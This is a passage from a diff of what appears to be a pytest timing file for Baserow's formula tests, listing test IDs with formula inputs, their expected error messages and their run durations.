PER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('test'))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))-ERROR_WITH_FORMULA-Error with formula: it exceeded the maximum formula size.]": 0.15359329202328809, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[concat(upper(1), lower('a'))-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function upper was of type number but the only usable type for this argument is text.]": 0.13244791800389066, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[concat(upper(1), lower(2))-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function upper was of type number but the only usable type for this argument is text, argument number 1 given to function lower was of type number but the only usable type for this argument is text.]": 0.1310123759903945, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[date_interval('1 second') - todate('20210101', 'YYYYMMDD')-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator - was of type date but the only usable type for this argument is date_interval.]": 0.08928265700023985, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[date_interval('1 second') - todate('20210101', 'YYYYMMDD')-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator - was of type date but the only usable type for this argument is duration.]": 0.16849245900084497, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[field(9999)-ERROR_WITH_FORMULA-None]": 0.1681213759993625, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[field_by_id(9999)-ERROR_WITH_FORMULA-None]": 0.17123754099975486, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[get_link_label('a')-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function get_link_label was of type text but the only usable type for this argument is link.]": 0.1693470829995931, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[get_link_label(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function get_link_label was of type number but the only usable type for this argument is link.]": 0.16892195899981743, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[get_link_url('a')-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function get_link_url was of type text but the only usable type for this argument is link.]": 0.1712825430004159, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[get_link_url(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function get_link_url was of type number but the only usable type for this argument is link.]": 0.16844124999988708, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[date_interval('1 second') - todate('20210101', 'YYYYMMDD')-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator - was of type date but the only usable type for this argument is duration.]": 0.13077941600931808, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[field(9999)-ERROR_WITH_FORMULA-None]": 0.13169275000109337, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[field_by_id(9999)-ERROR_WITH_FORMULA-None]": 0.13341558296815492, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[get_link_label('a')-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function get_link_label was of type text but the only usable type for this argument is link.]": 0.1340377920132596, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[get_link_label(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function get_link_label was of type number but the only usable type for this argument is link.]": 0.13366270798724145, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[get_link_url('a')-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function get_link_url was of type text but the only usable type for this argument is link.]": 0.13196733299992047, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[get_link_url(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function get_link_url was of type number but the only usable type for this argument is link.]": 0.13326295898878016, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[left(\"aa\", 2.0)-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to function left was of type number but the only usable type for this argument is a whole number with no decimal places.]": 0.07907325599808246, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[link('a') + link('b')-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type link but there are no possible types usable here.]": 0.16853254200032097, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[link('a') > 1-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator > was of type number but there are no possible types usable here.]": 0.1676602509996883, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[link('a') > link('b')-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator > was of type link but there are no possible types usable here.]": 0.16787395800020022, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[link('https://www.google.com') + 'a'-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type text but there are no possible types usable here.]": 0.16917825000109588, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[link('https://www.google.com') + 1-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type number but there are no possible types usable here.]": 0.1685439579996455, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[regex_replace(1, 1, 1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function regex_replace was of type number but the only usable type for this argument is text, argument number 2 given to function regex_replace was of type number but the only usable type for this argument is text, argument number 3 given to function regex_replace was of type number but the only usable type for this argument is text.]": 0.16829591700025048, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[second(today())-ERROR_WITH_FORMULA-Error with formula: cannot extract seconds from a date without time.]": 0.1695683329990061, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[link('a') + link('b')-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type link but there are no possible types usable here.]": 0.12856283198925667, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[link('a') > 1-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator > was of type number but there are no possible types usable here.]": 0.1436923750443384, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[link('a') > link('b')-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator > was of type link but there are no possible types usable here.]": 0.12440245898324065, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[link('https://www.google.com') + 'a'-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type text but there are no possible types usable here.]": 0.13550625098287128, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[link('https://www.google.com') + 1-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type number but there are no possible types usable here.]": 0.13697633298579603, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[regex_replace(1, 1, 1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function regex_replace was of type number but the only usable type for this argument is text, argument number 2 given to function regex_replace was of type number but the only usable type for this argument is text, argument number 3 given to function regex_replace was of type number but the only usable type for this argument is text.]": 0.13061787400511093, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[second(today())-ERROR_WITH_FORMULA-Error with formula: cannot extract seconds from a date without time.]": 0.12933224998414516, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[sum(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function sum was of type number but the only usable type for this argument is a list of number values obtained from a lookup or link row field reference.]": 0.09305083700019168, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[sum(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function sum was of type number but the only usable type for this argument is a list of number values obtained from a lookup.]": 0.11508931498974562, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[sum(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function sum was of type number but the only usable type for this argument is a list of number, or duration values obtained from a lookup.]": 0.16750300100102322, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[sum(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function sum was of type number but the only usable type for this argument is a list of number, or duration values obtained from a lookup.]": 0.13069366695708595, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[sum(link('https://www.google.com'))-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function sum was of type link but the only usable type for this argument is a list of number values obtained from a lookup or link row field reference.]": 0.09134798799982491, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[sum(link('https://www.google.com'))-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function sum was of type link but the only usable type for this argument is a list of number values obtained from a lookup.]": 0.11112486605998129, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[sum(link('https://www.google.com'))-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function sum was of type link but the only usable type for this argument is a list of number, or duration values obtained from a lookup.]": 0.16787966700030665, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[test-ERROR_WITH_FORMULA-Error with formula: Invalid syntax at line 1, col 4: mismatched input 'the end of the formula' expecting '('.]": 0.1720296250005049, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[sum(link('https://www.google.com'))-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function sum was of type link but the only usable type for this argument is a list of number, or duration values obtained from a lookup.]": 0.1380481679807417, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[test-ERROR_WITH_FORMULA-Error with formula: Invalid syntax at line 1, col 4: mismatched input 'the end of the formula' expecting '('.]": 0.1810717909829691, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[todate('20200101', 'YYYYMMDD') + todate('20210101', 'YYYYMMDD')-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type date but the only usable type for this argument is date_interval.]": 0.09084769399987636, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[todate('20200101', 'YYYYMMDD') + todate('20210101', 'YYYYMMDD')-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type date but the only usable types for this argument are date_interval,duration.]": 0.1677073749997362, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[tourl(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function tourl was of type number but the only usable type for this argument is text.]": 0.16924487499909446, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[true + true-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type boolean but there are no possible types usable here.]": 0.16896662500039383, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[true < 1-ERROR_WITH_FORMULA-None]": 0.1668637499997203, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[true < true-ERROR_WITH_FORMULA-None]": 0.16792737600098917, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[true > 1-ERROR_WITH_FORMULA-None]": 0.17206079100105853, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[true > true-ERROR_WITH_FORMULA-None]": 0.20496525000089605, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[upper(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function upper was of type number but the only usable type for this argument is text.]": 0.16957212499983143, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[when_empty(1, 'a')-ERROR_WITH_FORMULA-Error with formula: both inputs for when_empty must be the same type.]": 0.16946529200049554, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields0-'a'-False]": 0.15998258400122722, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields1-field('txt')-True]": 0.1679572500006543, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields10-totext(field('nr'))-False]": 0.166997874000117, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields11-field('nr') + field('nr')-False]": 0.1661218329991243, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields12-field('nr') + 1-False]": 0.16729554100038513, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields13-field('fnr')-True]": 0.1776085410010637, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields14-field('fnr') + 1-False]": 0.18302412599950912, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields15-field('nr') - field('nr')-False]": 0.17590774999916903, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields16-field('nr') - 1-False]": 0.17468341700077872, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields17-field('nr') * field('nr')-False]": 0.1708948750010677, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields18-field('nr') * 1-False]": 0.17459791800047242, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields19-field('nr') / field('nr')-False]": 0.17287233299975924, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields2-totext(field('txt'))-False]": 0.16612166699997033, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields20-field('nr') / 1-False]": 0.16537891699863394, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields21-isblank(field('nr'))-False]": 0.16468924999935552, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields22-ceil(field('nr'))-False]": 0.16684291799992934, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields23-floor(field('nr'))-False]": 0.16562045899991062, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields24-mod(field('nr'), 2)-False]": 0.1659237089997987, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields25-power(field('nr'), 2)-False]": 0.16552337400025863, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields26-abs(field('nr'))-False]": 0.16623354100011056, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields27-sign(field('nr'))-False]": 0.16704904199923476, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields28-int(field('nr'))-False]": 0.16718583299916645, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields29-tonumber('a')-False]": 0.16239995700107102, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields3-isblank(field('txt'))-False]": 0.16871454200008884, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields30-tonumber(field('txt'))-False]": 0.16923229199983325, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields31-todate('01012023', 'DDMMYYYY')-True]": 0.1593051670006389, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields32-day(todate('01012023', 'DDMMYYYY'))-True]": 0.15841641600127332, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields33-month(todate('01012023', 'DDMMYYYY'))-True]": 0.15612195899939252, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields34-year(todate('01012023', 'DDMMYYYY'))-True]": 0.15998358399974677, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields35-field('dt')-True]": 0.16374104299939063, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields36-day(field('dt'))-True]": 0.16831837500012625, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields37-month(field('dt'))-True]": 0.16468429100132198, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields38-year(field('dt'))-True]": 0.163588040999457, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields39-isblank(field('dt'))-False]": 0.16530920899913326, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields4-field('txt') + field('txt')-False]": 0.1668115829997987, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields40-is_null(field('dt'))-False]": 0.165547583001171, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields41-totext(field('dt'))-False]": 0.16450395899937575, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields42-field('dt') + date_interval('1d')-True]": 0.16472787400016387, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields43-field('dt') - date_interval('1d')-True]": 0.17156824999983655, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields44-date_interval('1d') / 2-True]": 0.16128487500009214, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[todate('20200101', 'YYYYMMDD') + todate('20210101', 'YYYYMMDD')-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type date but the only usable types for this argument are date_interval,duration.]": 0.12837758401292376, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[tourl(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function tourl was of type number but the only usable type for this argument is text.]": 0.12311175002832897, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[true + true-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type boolean but there are no possible types usable here.]": 0.1315706240129657, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[true < 1-ERROR_WITH_FORMULA-None]": 0.12950899999123067, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[true < true-ERROR_WITH_FORMULA-None]": 0.13355570897692814, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[true > 1-ERROR_WITH_FORMULA-None]": 0.13394037599209696, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[true > true-ERROR_WITH_FORMULA-None]": 0.12773912397096865, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[upper(1)-ERROR_WITH_FORMULA-Error with formula: argument number 1 given to function upper was of type number but the only usable type for this argument is text.]": 0.13561629099422134, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas[when_empty(1, 'a')-ERROR_WITH_FORMULA-Error with formula: both inputs for when_empty must be the same type.]": 0.12916566600324586, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_lookup_arrays": 0.45347949903225526, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields0-'a'-False]": 0.12636479196953587, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields1-field('txt')-True]": 0.13291404201299883, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields10-totext(field('nr'))-False]": 0.13107095801387914, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields11-field('nr') + field('nr')-False]": 0.13715324900113046, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields12-field('nr') + 1-False]": 0.12929041602183133, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields13-field('fnr')-True]": 0.14963224899838679, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields14-field('fnr') + 1-False]": 0.14642091700807214, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields15-field('nr') - field('nr')-False]": 0.13590929104248062, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields16-field('nr') - 1-False]": 0.12517925002612174, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields17-field('nr') * field('nr')-False]": 0.1262243329838384, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields18-field('nr') * 1-False]": 0.11841374900541268, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields19-field('nr') / field('nr')-False]": 0.12929595803143457, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields2-totext(field('txt'))-False]": 0.13193029299145564, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields20-field('nr') / 1-False]": 0.1297422920470126, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields21-isblank(field('nr'))-False]": 0.13007316598668694, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields22-ceil(field('nr'))-False]": 0.13034154201159254, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields23-floor(field('nr'))-False]": 0.11917912500211969, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields24-mod(field('nr'), 2)-False]": 0.1228215419978369, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields25-power(field('nr'), 2)-False]": 0.12901291699381545, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields26-abs(field('nr'))-False]": 0.11917345901019871, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields27-sign(field('nr'))-False]": 0.12363975000334904, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields28-int(field('nr'))-False]": 0.12913187601952814, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields29-tonumber('a')-False]": 0.12302679102867842, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields3-isblank(field('txt'))-False]": 0.1375479580310639, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields30-tonumber(field('txt'))-False]": 0.13066395799978636, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields31-todate('01012023', 'DDMMYYYY')-True]": 0.11298329196870327, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields32-day(todate('01012023', 'DDMMYYYY'))-True]": 0.11111187504138798, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields33-month(todate('01012023', 'DDMMYYYY'))-True]": 0.12063537401263602, + 